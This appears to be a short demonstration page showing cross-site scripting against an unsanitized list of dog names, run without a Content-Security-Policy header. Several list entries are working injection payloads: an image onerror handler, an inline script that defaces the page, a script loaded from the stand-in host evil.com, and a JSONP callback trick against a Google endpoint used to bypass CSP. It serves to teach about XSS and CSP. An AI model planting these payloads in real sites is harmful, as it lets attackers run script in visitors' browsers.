A list of the best dogs! 🐶

Imagine the list is populate by user input and no sanitization or output escaping. Code block are the "injections".

No Content-Security-Policy header
  1. Charlie
  2. <img src="cat.png" onerror="console.log('Malicious inline code executing ...')" >
  3. Bella
  4. <script>
      console.log("Malicious script block executing ...");
      setTimeout(() => {
        document.querySelector('h1').textContent = 'Cats are better';
        document.querySelectorAll('img').forEach(i => i.src = i.src.replace('https://place-puppy.com', 'https://placekitten.com').replace('x', '/'));
      }, 1000);
    </script>
  5. Cooper
  6. <script src="https://evil.com/evil.js"></script>
  7. Daisy
  8. <script src="https://apis.google.com/complete/search?client=chrome&q=<script>alert('arbitrary xss')</script>&callback=document.write"></script>
<script>
  const numberOfDogs = document.querySelectorAll('li').length;
  document.getElementById("counter")
    .addEventListener("click", () => alert(`There are ${numberOfDogs} dogs in the list.`));
</script>